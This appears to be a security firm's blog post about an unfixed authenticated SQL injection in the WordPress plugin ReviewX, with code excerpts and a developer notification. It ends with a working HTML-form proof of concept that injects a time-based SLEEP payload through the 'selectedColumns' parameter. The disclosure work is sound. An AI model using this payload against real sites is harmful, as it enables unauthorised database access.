Our Firewall Plugin Caught That SQL Injection Vulnerability Tenable Discovered Hasn’t Actually Been Fixed
Last month, security provider Tenable claimed that an authenticated SQL injection vulnerability had existed in the WordPress plugin ReviewX and was fixed in version 1.6.4. It turns out the vulnerability hasn’t been fixed.
The CVE system allowed Tenable to create a CVE ID for this, CVE-2023-26325, and didn’t check to make sure the claims were accurate
Automattic’s WPScan parroted the claim it was fixed:

(Wordfence and Patchstack don’t have this in their data sets.)
Last month, we found another SQL injection vulnerability in a WordPress plugin hadn’t actually been fixed through in development SQL injection protection for our firewall plugin. That involved a vulnerability that was discovered by another Automattic unit, Jetpack. The same thing happened here.
When we tested the proof of concept for the vulnerability provided by Tenable, with the previous version of the plugin 1.6.3, the firewall blocked the request. But curiously, when we upgraded to the version of the plugin that was supposed to fix this, it still blocked the request. We found that to be the case up to the latest version of the plugin as well. So either there still was a vulnerability or there was a bug in the protection.
Looking at what was causing the block showed that it looked like the vulnerability still existed, but the proof of concept didn’t produce the same result. So what was going on?
Looking at the changes made in version 1.6.4, we found that the issue hadn’t been addressed. The vulnerability exists because the value of the POST input “selectedColumns” is brought directly in to a SQL statement through the variable $sql_column_name. Here is how that looks in 1.6.3:
1482 1483 | $sql_query = $wpdb->prepare( "SELECT $sql_column_name FROM {$wpdb->prefix}comments AS comments |
While there are changes made around that code in 1.6.4, that hasn’t been changed:
1479 1480 | $sql_query = $wpdb->prepare( "SELECT $sql_column_name FROM {$wpdb->prefix}comments AS comments |
While a prepared SQL statement is used there, it doesn’t do any good if you include variables with user input directly in the statement instead of being passed in to it through a placeholder
What the change did does is to break the proof of concept as another value in it doesn’t get included in the SQL statement. But that just means there needs to be an update to the proof of concept, as shown below, and it works again. Our firewall plugin’s protection still worked, even though the proof of concept didn’t function properly.
That is a reminder that checking a proof of concept isn’t enough. You have to check the changes being made to make sure the issue is addressed.
We have notified the developer that this hasn’t been fully resolved and offered to help them address it.
Another issue here that wasn’t noted elsewhere, is that this functionality is only intended to by those logged to WordPress as Administrators, not anyone logged in to WordPress as it is now.
Proof of Concept
The following proof of concept will take varying amounts of time for the page to fully load depending on how long you specify MySQL sleep function to run, when logged in to WordPress.
Replace “[path to WordPress]” with the location of WordPress and “[sleep time]” with how many seconds you want sleep to occur for.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=rx_export_review"" method="POST"> <input type="hidden" name="filterValue[0]" value="" /> <input type="hidden" name="filterValue[1]" value="id" /> <input type="hidden" name="filterValue[2]" value="" /> <input type="hidden" name="filterValue[3]" value="id" /> <input type="hidden" name="filterValue[4]" value="" /> <input type="hidden" name="filterValue[5]" value="id" /> <input type="hidden" name="filterValue[6]" value="" /> <input type="hidden" name="filterValue[7]" value="id" /> <input type="hidden" name="selectedColumns[]" value="1 AND (SELECT 1 FROM (SELECT(SLEEP([sleep time])))a)" /> <input type="submit" value="Submit" /> </form> </body>